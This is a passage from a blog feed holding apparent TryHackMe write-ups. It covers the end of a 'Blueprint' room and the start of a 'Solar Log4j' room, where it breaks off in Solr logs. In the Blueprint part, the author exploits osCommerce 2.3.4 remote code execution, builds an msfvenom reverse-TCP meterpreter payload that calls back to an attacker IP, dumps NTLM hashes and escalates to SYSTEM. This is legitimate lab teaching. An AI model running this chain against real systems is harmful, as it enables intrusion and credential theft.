</span></span><span style="display:flex;"><span>135/tcp   open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span>139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
</span></span><span style="display:flex;"><span>443/tcp   open  ssl/http     Apache httpd 2.4.23 <span style="color:#f92672">(</span>OpenSSL/1.0.2h PHP/5.6.28<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_ssl-date: TLS randomness does not represent time
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.23 <span style="color:#f92672">(</span>Win32<span style="color:#f92672">)</span> OpenSSL/1.0.2h PHP/5.6.28
</span></span><span style="display:flex;"><span>| tls-alpn: 
</span></span><span style="display:flex;"><span>|_  http/1.1
</span></span><span style="display:flex;"><span>| ssl-cert: Subject: commonName<span style="color:#f92672">=</span>localhost
</span></span><span style="display:flex;"><span>| Not valid before: 2009-11-10T23:48:47
</span></span><span style="display:flex;"><span>|_Not valid after:  2019-11-08T23:48:47
</span></span><span style="display:flex;"><span>|_http-title: Bad request!
</span></span><span style="display:flex;"><span>445/tcp   open  microsoft-ds Windows <span style="color:#ae81ff">7</span> Home Basic <span style="color:#ae81ff">7601</span> Service Pack <span style="color:#ae81ff">1</span> microsoft-ds <span style="color:#f92672">(</span>workgroup: WORKGROUP<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>3306/tcp  open  mysql        MariaDB <span style="color:#f92672">(</span>unauthorized<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>8080/tcp  open  http         Apache httpd 2.4.23 <span style="color:#f92672">(</span>OpenSSL/1.0.2h PHP/5.6.28<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.23 <span style="color:#f92672">(</span>Win32<span style="color:#f92672">)</span> OpenSSL/1.0.2h PHP/5.6.28
</span></span><span style="display:flex;"><span>| http-methods: 
</span></span><span style="display:flex;"><span>|_  Potentially risky methods: TRACE
</span></span><span style="display:flex;"><span>|_http-title: Index of /
</span></span><span style="display:flex;"><span>49152/tcp open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49153/tcp open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49154/tcp open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49158/tcp open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49159/tcp open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span>49160/tcp open  msrpc        Microsoft Windows RPC
</span></span><span style="display:flex;"><span>Service Info: Hosts: www.example.com, BLUEPRINT, localhost; OS: Windows; CPE: cpe:/o:microsoft:windows
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Host script results:
</span></span><span style="display:flex;"><span>|_clock-skew: mean: 0s, deviation: 1s, median: -1s
</span></span><span style="display:flex;"><span>| smb2-security-mode: 
</span></span><span style="display:flex;"><span>|   2.1: 
</span></span><span style="display:flex;"><span>|_    Message signing enabled but not required
</span></span><span style="display:flex;"><span>|_nbstat: NetBIOS name: BLUEPRINT, NetBIOS user: &lt;unknown&gt;, NetBIOS MAC: 02:a3:23:5f:7e:9f <span style="color:#f92672">(</span>unknown<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| smb2-time: 
</span></span><span style="display:flex;"><span>|   date: 2022-01-20T08:38:11
</span></span><span style="display:flex;"><span>|_  start_date: 2022-01-20T08:33:35
</span></span><span style="display:flex;"><span>| smb-os-discovery: 
</span></span><span style="display:flex;"><span>|   OS: Windows <span style="color:#ae81ff">7</span> Home Basic <span style="color:#ae81ff">7601</span> Service Pack <span style="color:#ae81ff">1</span> <span style="color:#f92672">(</span>Windows <span style="color:#ae81ff">7</span> Home Basic 6.1<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|   OS CPE: cpe:/o:microsoft:windows_7::sp1
</span></span><span style="display:flex;"><span>|   Computer name: BLUEPRINT
</span></span><span style="display:flex;"><span>|   NetBIOS computer name: BLUEPRINT<span style="color:#ae81ff">\x</span><span style="color:#ae81ff">00</span>
</span></span><span style="display:flex;"><span>|   Workgroup: WORKGROUP<span style="color:#ae81ff">\x</span><span style="color:#ae81ff">00</span>
</span></span><span style="display:flex;"><span>|_  System time: 2022-01-20T08:38:10+00:00
</span></span><span style="display:flex;"><span>| smb-security-mode: 
</span></span><span style="display:flex;"><span>|   account_used: guest
</span></span><span style="display:flex;"><span>|   authentication_level: user
</span></span><span style="display:flex;"><span>|   challenge_response: supported
</span></span><span style="display:flex;"><span>|_  message_signing: disabled <span style="color:#f92672">(</span>dangerous, but default<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Nmap done at Thu Jan 20 03:38:40 2022 -- 1 IP address (1 host up) scanned in 242.51 seconds</span>
</span></span></code></pre></div><p>As you can see, the attack surface is huge. So huge that it paved the ways for lots of rabbit holes.</p>
<p>First, the <code>TRACE</code> method was deemed as &ldquo;potentially risky method&rdquo;. <code>TRACE</code> method can be utilized in <a href="https://owasp.org/www-community/attacks/Cross_Site_Tracing">Cross-site Tracing (XST) attack</a>. Fortunately, this hole isn&rsquo;t deep and soon after a few requests, I figured it out that it&rsquo;s not the vulnerability I was looking for.</p>
<p>Second, there&rsquo;re <code>SMB</code> ports running, even allowing <code>guest</code> user access. For more tips and tricks on exploiting <code>SMB</code> services, <a href="https://book.hacktricks.xyz/pentesting/pentesting-smb">HackTricks has a great page for it</a>. In short, I effortlessly broke into shares for <code>guest</code> account, namely <code>Users</code> and <code>Windows</code> share.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>smbclient -U <span style="color:#e6db74">&#39;guest&#39;</span> -L <span style="color:#ae81ff">\\</span>10.10.39.37<span style="color:#ae81ff">\
</span></span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>smbclient -U <span style="color:#e6db74">&#39;guest&#39;</span> <span style="color:#ae81ff">\\\\</span>10.10.39.37<span style="color:#ae81ff">\\</span>Users
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>smbclient -U <span style="color:#e6db74">&#39;guest&#39;</span> <span style="color:#ae81ff">\\\\</span>10.10.39.37<span style="color:#ae81ff">\\</span>Windows
</span></span></code></pre></div><p>However, <code>guest</code> user didn&rsquo;t have sufficient permission to peek into <code>Windows</code> directory (obviously), and there was nothing much <code>Users</code> directory either. The best shot I could find there was <a href="/data/blueprint/NTUSER.DAT.LOG">a DAT log file</a>. This brick wall also seems no better than the first one, so I left it here.</p>
<p>The third time, fortunately, I found the right path.</p>
<p>You may have noticed that there&rsquo;s an Apache web service running on port 8080, which was plain weird. Here&rsquo;s what was shown in browser.</p>
<p>
  <img src="/img/blueprint/port-8080.png#center" alt="">

</p>
<p><code>oscommerce</code> version <code>2.3.4</code>&hellip; Sounds oddly specific. In no time, several public exploits were found.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ searchsploit oscommerce 2.3.4
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------ ---------------------------------
</span></span><span style="display:flex;"><span> Exploit Title                                                                      |  Path
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------ ---------------------------------
</span></span><span style="display:flex;"><span>osCommerce 2.3.4 - Multiple Vulnerabilities                                         | php/webapps/34582.txt
</span></span><span style="display:flex;"><span>osCommerce 2.3.4.1 - <span style="color:#e6db74">&#39;currency&#39;</span> SQL Injection                                       | php/webapps/46328.txt
</span></span><span style="display:flex;"><span>osCommerce 2.3.4.1 - <span style="color:#e6db74">&#39;products_id&#39;</span> SQL Injection                                    | php/webapps/46329.txt
</span></span><span style="display:flex;"><span>osCommerce 2.3.4.1 - <span style="color:#e6db74">&#39;reviews_id&#39;</span> SQL Injection                                     | php/webapps/46330.txt
</span></span><span style="display:flex;"><span>osCommerce 2.3.4.1 - <span style="color:#e6db74">&#39;title&#39;</span> Persistent Cross-Site Scripting                        | php/webapps/49103.txt
</span></span><span style="display:flex;"><span>osCommerce 2.3.4.1 - Arbitrary File Upload                                          | php/webapps/43191.py
</span></span><span style="display:flex;"><span>osCommerce 2.3.4.1 - Remote Code Execution                                          | php/webapps/44374.py
</span></span><span style="display:flex;"><span>osCommerce 2.3.4.1 - Remote Code Execution <span style="color:#f92672">(</span>2<span style="color:#f92672">)</span>                                      | php/webapps/50128.py
</span></span><span style="display:flex;"><span>------------------------------------------------------------------------------------ ---------------------------------
</span></span><span style="display:flex;"><span>Shellcodes: No Results
</span></span></code></pre></div><p>I only tried the <code>44374.py</code>, and it perfectly worked. However, the connection died very easily, for which I think my connection with this box was to blame. If you want to follow this path thou, just remember to change the parameters in the script accordingly and it should work.</p>
<p>On the other hand, because of my bad connection with this box, I need something better than a simple PHP reverse shell. Therefore, I opened <code>msfconsole</code>, looked for the exact same exploit, set the parameters and executed it, then elevated from PHP meterpreter to Windows tcp meterpreter using a backdoor:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ msfvenom -p windows/meterpreter/reverse_tcp LHOST<span style="color:#f92672">=</span>10.4.28.15 LPORT<span style="color:#f92672">=</span><span style="color:#ae81ff">9999</span> -f exe &gt; rever.exe
</span></span></code></pre></div><p>Upload it to server, open up a <code>multi/handler</code> to catch it, then execute <code>rever.exe</code>, we got a Windows TCP meterpreter back.</p>
<p>From here onward was just normal Metasploit stuffs.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>meterpreter &gt; load priv
</span></span><span style="display:flex;"><span>meterpreter &gt; hashdump
</span></span><span style="display:flex;"><span>Administrator:500:aad3b435b51404eeaad3b435b51404ee:549a1bcb88e35dc18c7a0b0168631411:::
</span></span><span style="display:flex;"><span>Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
</span></span><span style="display:flex;"><span>Lab:1000:aad3b435b51404eeaad3b435b51404ee:30e87bf999828446a1c1209ddde4c450:::
</span></span><span style="display:flex;"><span>meterpreter &gt; getsystem
</span></span><span style="display:flex;"><span>meterpreter &gt; getuid
</span></span><span style="display:flex;"><span>NT AUTHORITY<span style="color:#ae81ff">\S</span>YSTEM
</span></span></code></pre></div><p>Here&rsquo;s the hash crack result using <a href="https://crackstation.net/"><code>Crack Station</code></a>.

  <img src="/img/blueprint/crackstation.png#center" alt="">

</p>
<p>The root flag was in Admin&rsquo;s desktop.

  <img src="/img/blueprint/root-flag.png#center" alt="">

</p>
<p>I also tried to crack Admin password, just for the sake of curiosity, but seems like it wasn&rsquo;t in the word list.

  <img src="/img/blueprint/admin-pass-crackstation.png#center" alt="">

</p>
<p>And that&rsquo;s it. Here are today box&rsquo;s answers.

  <img src="/img/blueprint/answers.png#center" alt="">

</p>
]]></content:encoded>
    </item>
    <item>
      <title>Try Hack Me - Solar Log4j</title>
      <link>https://www.akihakune.com/blog/solarlog4j/</link>
      <pubDate>Thu, 06 Jan 2022 20:27:50 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/solarlog4j/</guid>
      <description>Writeup for Try Hack Me&amp;rsquo;s Solar Log4j room</description>
      <content:encoded><![CDATA[<ul>
<li>Here&rsquo;s the challenge: <a href="https://tryhackme.com/room/solar">https://tryhackme.com/room/solar</a></li>
<li>It&rsquo;s recommended to go through this informative room yourself first</li>
</ul>
<hr>
<h2 id="introduction">Introduction</h2>
<p>People in the infosec industry all know how far-reached and critical the <code>log4j</code> vulnerability is, given the past exhausted, unrest December.</p>
<p>To summarize it all by memes, it would be this:</p>
<p>
  <img src="/img/solarlog4j/log4j-holiday-meme.jpg#center" alt="">

</p>
<p>And this:</p>
<p>
  <img src="/img/solarlog4j/log4j-explain-meme.png#center" alt="">

</p>
<p>And more of these hilarious, evocative memes in <a href="https://blog.devgenius.io/log4shell-as-explained-by-metaphor-and-memes-38de224a2eb7">this blog post</a>. :D</p>
<p>Well in short:</p>
<ul>
<li>This (in)famous exploit targeting a RCE vulnerability in <a href="https://www.huntress.com/blog/rapid-response-critical-rce-vulnerability-is-affecting-java">log4j</a>, a widely used Java library</li>
<li>You can find a list of popular affected softwares here: <a href="https://github.com/YfryTchsGD/Log4jAttackSurface">https://github.com/YfryTchsGD/Log4jAttackSurface</a></li>
<li>Check out this clear showcase and explanation from <a href="https://www.youtube.com/channel/UCVeW9qkBjo3zosnqUbG7CFw">John Hammond</a>, this room&rsquo;s creator: <a href="https://youtu.be/7qoPDq41xhQ">https://youtu.be/7qoPDq41xhQ</a></li>
<li>If you simply want to jump right into testing it, here&rsquo;s a tool you may want: <a href="https://log4shell.huntress.com/">https://log4shell.huntress.com/</a></li>
</ul>
<p>Equipped with all these knowledge, let&rsquo;s dive into our challenge! :D</p>
<h2 id="reconnaissance">Reconnaissance</h2>
<p>Here&rsquo;s the initial <code>nmap</code> scan:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Nmap 7.92 scan initiated Wed Jan  5 08:08:50 2022 as: nmap -sC -sV -oN nmap.txt 10.10.78.2</span>
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.78.2
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.49s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>Not shown: <span style="color:#ae81ff">998</span> closed tcp ports <span style="color:#f92672">(</span>conn-refused<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>PORT    STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp  open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey: 
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">2048</span> e2:35:e1:4f:4e:87:45:9e:5f:2c:97:e0:da:a9:df:d5 <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">256</span> b2:fd:9b:75:1c:9e:80:19:5d:13:4e:8d:a0:83:7b:f9 <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_  <span style="color:#ae81ff">256</span> 75:20:0b:43:14:a9:8a:49:1a:d9:29:33:e1:b9:1a:b6 <span style="color:#f92672">(</span>ED25519<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>111/tcp open  rpcbind 2-4 <span style="color:#f92672">(</span>RPC <span style="color:#75715e">#100000)</span>
</span></span><span style="display:flex;"><span>| rpcinfo: 
</span></span><span style="display:flex;"><span>|   program version    port/proto  service
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100000</span>  2,3,4        111/tcp   rpcbind
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100000</span>  2,3,4        111/udp   rpcbind
</span></span><span style="display:flex;"><span>|   <span style="color:#ae81ff">100000</span>  3,4          111/tcp6  rpcbind
</span></span><span style="display:flex;"><span>|_  <span style="color:#ae81ff">100000</span>  3,4          111/udp6  rpcbind
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Nmap done at Wed Jan  5 08:10:05 2022 -- 1 IP address (1 host up) scanned in 75.23 seconds</span>
</span></span></code></pre></div><p>Let&rsquo;s check out the first question! <code>(＠＾◡＾)</code></p>
<p>
  <img src="/img/solarlog4j/first-question.png#center" alt="">

</p>
<p>&hellip; Well, time to hammer the machine, then. <code>(⊙_⊙)</code></p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ rustscan -a 10.10.145.200                                                                                                                                                                                                                 
</span></span><span style="display:flex;"><span>.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.                                                                                                                                                                                      
</span></span><span style="display:flex;"><span>| <span style="color:#f92672">{}</span>  <span style="color:#f92672">}</span>| <span style="color:#f92672">{</span> <span style="color:#f92672">}</span> |<span style="color:#f92672">{</span> <span style="color:#f92672">{</span>__ <span style="color:#f92672">{</span>_   _<span style="color:#f92672">}{</span> <span style="color:#f92672">{</span>__  /  ___<span style="color:#f92672">}</span> / <span style="color:#f92672">{}</span> <span style="color:#ae81ff">\ </span>|  <span style="color:#e6db74">`</span>| |                                                                                                                                                                                      
</span></span><span style="display:flex;"><span>| .-. <span style="color:#ae81ff">\|</span> <span style="color:#f92672">{</span>_<span style="color:#f92672">}</span> |.-._<span style="color:#f92672">}</span> <span style="color:#f92672">}</span> | |  .-._<span style="color:#f92672">}</span> <span style="color:#f92672">}</span><span style="color:#ae81ff">\ </span>    <span style="color:#f92672">}</span>/  /<span style="color:#ae81ff">\ </span> <span style="color:#ae81ff">\|</span> |<span style="color:#ae81ff">\ </span> |                                                                                                                                                                                      
</span></span><span style="display:flex;"><span><span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39; `-&#39;</span><span style="color:#e6db74">`</span>-----<span style="color:#e6db74">&#39;`----&#39;</span>  <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;  `----&#39;</span>  <span style="color:#e6db74">`</span>---<span style="color:#e6db74">&#39; `-&#39;</span>  <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;`-&#39;</span> <span style="color:#e6db74">`</span>-<span style="color:#e6db74">&#39;                                                                                                                                                                                      
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">The Modern Day Port Scanner.                                                                                                                                                                                                                  
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">________________________________________                                                                                                                                                                                                      
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">: https://discord.gg/GFrQsGy           :                                                                                                                                                                                                      
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">: https://github.com/RustScan/RustScan :                                                                                                                                                                                                      
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74"> --------------------------------------                                                                                                                                                                                                       
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">😵 https://admin.tryhackme.com                                                                                                                                                                                                                
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">                                                                                                                                                                                                                                              
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[~] The config file is expected to be at &#34;/home/kali/.rustscan.toml&#34;                                                                                                                                                                          
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers                                                                                                                           
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">[!] Your file limit is very small, which negatively impacts RustScan&#39;</span>s speed. Use the Docker image, or up the Ulimit with <span style="color:#e6db74">&#39;--ulimit 5000&#39;</span>.                                                                                                    
</span></span><span style="display:flex;"><span>Open 10.10.145.200:22                                                                                                                                                                                                                         
</span></span><span style="display:flex;"><span>Open 10.10.145.200:111                                                                                                                                                                                                                        
</span></span><span style="display:flex;"><span>Open 10.10.145.200:8983                                                                                                                                                                                                                       
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>~<span style="color:#f92672">]</span> Starting Script<span style="color:#f92672">(</span>s<span style="color:#f92672">)</span>                                                                                                                                                                                                                        
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>&gt;<span style="color:#f92672">]</span> Script to be run Some<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;nmap -vvv -p {{port}} {{ip}}&#34;</span><span style="color:#f92672">)</span>                                                                                                                                                                                     
</span></span><span style="display:flex;"><span>                                                                                                                                                                                                                                              
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>~<span style="color:#f92672">]</span> Starting Nmap 7.92 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2022-01-05 21:27 EST                                                                                                                                                                           
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 21:27                                                                                                                                                                                                                 
</span></span><span style="display:flex;"><span>Scanning 10.10.145.200 <span style="color:#f92672">[</span><span style="color:#ae81ff">2</span> ports<span style="color:#f92672">]</span>                                                                                                                                                                                                              
</span></span><span style="display:flex;"><span>Completed Ping Scan at 21:27, 0.39s elapsed <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> total hosts<span style="color:#f92672">)</span>                                                                                                                                                                                   
</span></span><span style="display:flex;"><span>Initiating Parallel DNS resolution of <span style="color:#ae81ff">1</span> host. at 21:27                                                                                                                                                                                        
</span></span><span style="display:flex;"><span>Completed Parallel DNS resolution of <span style="color:#ae81ff">1</span> host. at 21:27, 0.01s elapsed                                                                                                                                                                          
</span></span><span style="display:flex;"><span>DNS resolution of <span style="color:#ae81ff">1</span> IPs took 0.01s. Mode: Async <span style="color:#f92672">[</span><span style="color:#75715e">#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]                                                                                                                                              </span>
</span></span><span style="display:flex;"><span>Initiating Connect Scan at 21:27                                                                                                                                                                                                              
</span></span><span style="display:flex;"><span>Scanning 10.10.145.200 <span style="color:#f92672">[</span><span style="color:#ae81ff">3</span> ports<span style="color:#f92672">]</span>                                                                                                                                                                                                              
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.145.200                                                                                                                                                                                                  
</span></span><span style="display:flex;"><span>Discovered open port 111/tcp on 10.10.145.200                                                                                                                                                                                                 
</span></span><span style="display:flex;"><span>Discovered open port 8983/tcp on 10.10.145.200                                                                                                                                                                                                
</span></span><span style="display:flex;"><span>Completed Connect Scan at 21:27, 0.39s elapsed <span style="color:#f92672">(</span><span style="color:#ae81ff">3</span> total ports<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>Looks like only those 3 ports are currently opening. Here&rsquo;s the result of the last port scan:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ nmap -sV -p <span style="color:#ae81ff">8983</span> 10.10.145.200                                                                              <span style="color:#ae81ff">130</span> ⨯
</span></span><span style="display:flex;"><span>Starting Nmap 7.92 <span style="color:#f92672">(</span> https://nmap.org <span style="color:#f92672">)</span> at 2022-01-05 21:29 EST
</span></span><span style="display:flex;"><span>Nmap scan report <span style="color:#66d9ef">for</span> 10.10.145.200
</span></span><span style="display:flex;"><span>Host is up <span style="color:#f92672">(</span>0.39s latency<span style="color:#f92672">)</span>.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>8983/tcp open  http    Apache Solr
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap <span style="color:#66d9ef">done</span>: <span style="color:#ae81ff">1</span> IP address <span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> host up<span style="color:#f92672">)</span> scanned in 16.96 seconds
</span></span></code></pre></div><h2 id="discovery">Discovery</h2>
<p>Navigating to the application, we see this interface:</p>
<p>
  <img src="/img/solarlog4j/soir-admin.png#center" alt="">

</p>
<p>The task also generously provided us a sample Solr log file. You can download it here: <a href="/data/solarlog4j/solrlogs.zip">solrlogs.zip</a>.</p>
<p>Most of those files just contain the default Solr banner, but <code>solr.log</code> contains something weird:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>2021-12-13 03:48:53.988 INFO  <span style="color:#f92672">(</span>qtp1083962448-18<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>   <span style="color:#f92672">]</span> o.a.s.s.HttpSolrCall <span style="color:#f92672">[</span>admin<span style="color:#f92672">]</span> webapp<span style="color:#f92672">=</span>null path<span style="color:#f92672">=</span>/admin/cores params<span style="color:#f92672">={}</span> status<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> QTime<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>2021-12-13 03:48:54.383 INFO  <span style="color:#f92672">(</span>qtp1083962448-17<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>   <span style="color:#f92672">]</span> o.a.s.s.HttpSolrCall <span style="color:#f92672">[</span>admin<span style="color:#f92672">]</span> webapp<span style="color:#f92672">=</span>null path<span style="color:#f92672">=</span>/admin/cores params<span style="color:#f92672">={}</span> status<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> QTime<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>2021-12-13 03:48:54.801 INFO  <span style="color:#f92672">(</span>qtp1083962448-23<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>   <span style="color:#f92672">]</span> o.a.s.s.HttpSolrCall <span style="color:#f92672">[</span>admin<span style="color:#f92672">]</span> webapp<span style="color:#f92672">=</span>null path<span style="color:#f92672">=</span>/admin/cores params<span style="color:#f92672">={}</span> status<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> QTime<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>2021-12-13 03:48:55.144 INFO  <span style="color:#f92672">(</span>qtp1083962448-21<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>   <span style="color:#f92672">]</span> o.a.s.s.HttpSolrCall <span style="color:#f92672">[</span>admin<span style="color:#f92672">]</span> webapp<span style="color:#f92672">=</span>null path<span style="color:#f92672">=</span>/admin/cores params<span style="color:#f92672">={}</span> status<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> QTime<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>2021-12-13 04:01:46.718 INFO  <span style="color:#f92672">(</span>qtp1083962448-18<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>   <span style="color:#f92672">]</span> o.a.s.s.HttpSolrCall <span style="color:#f92672">[</span>admin<span style="color:#f92672">]</span> webapp<span style="color:#f92672">=</span>null path<span style="color:#f92672">=</span>/admin/cores params<span style="color:#f92672">={</span>id<span style="color:#f92672">=</span>1337<span style="color:#f92672">}</span> status<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> QTime<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>2021-12-13 04:01:48.672 INFO  <span style="color:#f92672">(</span>qtp1083962448-16<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>   <span style="color:#f92672">]</span> o.a.s.s.HttpSolrCall <span style="color:#f92672">[</span>admin<span style="color:#f92672">]</span> webapp<span style="color:#f92672">=</span>null path<span style="color:#f92672">=</span>/admin/cores params<span style="color:#f92672">={</span>id<span style="color:#f92672">=</span>1337<span style="color:#f92672">}</span> status<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> QTime<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>2021-12-13 04:01:49.304 INFO  <span style="color:#f92672">(</span>qtp1083962448-20<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>   <span style="color:#f92672">]</span> o.a.s.s.HttpSolrCall <span style="color:#f92672">[</span>admin<span style="color:#f92672">]</span> webapp<span style="color:#f92672">=</span>null path<span style="color:#f92672">=</span>/admin/cores params<span style="color:#f92672">={</span>id<span style="color:#f92672">=</span>1337<span style="color:#f92672">}</span> status<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> QTime<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>2021-12-13 04:01:50.401 INFO  <span style="color:#f92672">(</span>qtp1083962448-20<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>   <span style="color:#f92672">]</span> o.a.s.s.HttpSolrCall <span style="color:#f92672">[</span>admin<span style="color:#f92672">]</span> webapp<span style="color:#f92672">=</span>null path<span style="color:#f92672">=</span>/admin/cores params<span style="color:#f92672">={</span>id<span style="color:#f92672">=</span>1337<span style="color:#f92672">}</span> status<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span> QTime<span style="color:#f92672">=</span><span style="color:#ae81ff">0</span>
